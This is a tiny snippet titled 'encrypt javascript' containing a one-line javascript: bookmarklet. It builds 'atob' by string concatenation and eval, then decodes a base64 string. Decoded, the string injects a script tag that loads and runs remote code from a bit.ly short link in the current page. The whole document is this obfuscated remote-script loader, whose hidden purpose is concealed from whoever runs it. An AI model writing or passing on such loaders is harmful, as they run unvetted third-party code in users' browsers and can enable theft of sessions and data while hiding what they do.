encrypt javascript

javascript:a="at";b="ob";c=eval(a+b);location=c('amF2YXNjcmlwdDpsPWRvY3VtZW50O2k9bC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpLnNyYz0naHR0cDovL2JpdC5seS90enN1MEonO2wuYm9keS5hcHBlbmRDaGlsZChpKTt2b2lkKDAp');